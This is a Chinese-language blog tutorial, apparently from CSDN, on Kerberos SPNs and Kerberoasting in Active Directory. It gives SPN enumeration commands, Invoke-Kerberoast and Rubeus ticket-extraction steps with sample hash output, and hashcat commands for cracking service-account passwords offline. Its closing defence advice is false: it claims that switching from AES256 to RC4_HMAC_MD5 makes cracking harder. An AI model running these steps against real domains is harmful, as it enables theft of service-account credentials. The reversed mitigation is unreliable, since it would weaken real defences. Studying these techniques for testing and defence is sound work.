内网安全:Kerberoasting攻击和SPN服务

0x01 SPN

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN

Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

当一个服务的权限为Local SystemNetwork Service,则SPN注册在机器帐户(Computers)下

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

image-20200518143632006

0x02 SPN发现

由于每台服务器都需要注册用于Kerberos身份验证服务的SPN

所以这是一个更加隐蔽的方法来收集有关内网域环境的信息

查询SPN服务,内网探测

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测

使用SetSPN

Win7和Windows Server2008自带的工具

查看当前域内的所有SPN:

setspn.exe -q */*

image-20200518143227803

查看test域内的所有SPN:

setspn.exe -T test -q */*

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yd2XpX1l-1590547189992)(https://gitee.com/godzeo/blogimg/raw/master/img/20200518143251.png)]

以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN

有三个:

域控制器:

CN=DC,OU=Domain Controllers,DC=sun,DC=com

域用户帐户:

CN=krbtgt,CN=Users,DC=sun,DC=com

机器帐户:

CN=WIN7,CN=Computers,DC=sun,DC=com

其他命令:

查看当前域内所有的SPN:setspn  -Q  */*
查看指定域xie.com注册的SPN:setspn -T sun.com -Q */*      如果指定域不存在,则默认切换到查找本域的SPN
查找本域内重复的SPN:setspn -X
删除指定SPN:setspn -D MySQL/win7.xie.com:1433/MSSQL hack
查找指定用户/主机名注册的SPN:setspn -L username/hostname

使用PowerShell脚本

  • PowerShell-AD-Recon

该工具包提供了一些探测指定SPN的脚本,例如Exchange,Microsoft SQLServer等

#扫描域中所有的SPN信息
Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices
  • GetUserSPNs.ps1

Kerberoast 工具集中的一个 powershell 脚本,用来查询域内用户注册的 SPN

Import-Module .\GetUserSPNs.ps1
  • PowerView.ps1

PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本,返回的信息比较详细。

Import-Module .\PowerView.ps1Get-NetUser -SPN

0x03 Kerberoasting攻击

0x031基于Kerberos认证的原理:

基于Kerberos认证,具体认证过程可以参考我之前的文章

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q5UTmw4K-1590547189994)(https://gitee.com/godzeo/blogimg/raw/master/img/20200527100825.png)]

1、用户将AS-REQ数据包发送给KDC(Key Distribution Centre,密钥分发中心,此处为域控),进行身份认证。

2、KDC验证用户的凭据,如果凭据有效,则返回TGT(Ticket-Granting Ticket,票据授予票据)。

3、如果用户想通过身份认证,访问某个服务(如IIS),那么他需要发起(Ticket Granting Service,票据授予服务)请求,请求中包含TGT以及所请求服务的SPN(Service Principal Name,服务主体名称)。

4、如果TGT有效并且没有过期,TGS会创建用于目标服务的一个服务票据。服务票据使用服务账户的凭据进行加密。

5、用户收到包含加密服务票据的TGS响应数据包。

6、最后,服务票据会转发给目标服务,然后使用服务账户的凭据进行解密。

整个过程比较简单,我们需要注意的是,服务票据会使用服务账户的哈希进行加密,这样一来,Windows域中任何经过身份验证的用户都可以从TGS处请求服务票据,然后离线暴力破解。

0x032利用思路

域内的任何用户都可以向域内的任何服务请求TGS

域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解

对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)

因此,高效率的利用思路如下:

  1. 查询SPN,找到有价值的SPN,需要满足以下条件:
    • 该SPN注册在域用户帐户(Users)下
    • 域用户账户的权限很高
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

0x033利用方法

一、自动实现,并且不需要mimikatz,普通用户权限即可

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解

实例演示:

在域内一台主机上以普通用户权限执行:

import-module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

只提取出hash的参数如下:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

使用hashcat破解的参数如下:

将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下

hashcat64.exe -m 13100 hash.txt pass.txt

二、使用 Rubeus

https://github.com/GhostPack/Rubeus

使用:

Rubeus.exe kerberoast
C:\Rubeus>Rubeus.exe kerberoast

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Kerberoasting


[*] SamAccountName         : zeo
[*] DistinguishedName      : CN=harmj0y,CN=Users,DC=zeolab,DC=local
[*] ServicePrincipalName   : asdf/asdfasdf
[*] Hash                   : $krb5tgs$23$*$zeolab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC......


[*] SamAccountName         : sqlservice
[*] DistinguishedName      : CN=SQL,CN=Users,DC=zeolab,DC=local
[*] ServicePrincipalName   : MSSQLSvc/SQL.zeolab.local
[*] Hash                   : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.zeolab.local*$E2B3869290......

0x034离线破解服务票据

将哈希保存为hash.txt文件,放到hashcat的目录下

hashcat64.exe -m 13100 hash.txt pass.txt

0x04 Kerberoast攻击防范

  • 将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,增加破解难度
  • 保证服务密码本身为强密码,关键是提高密码的强度。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值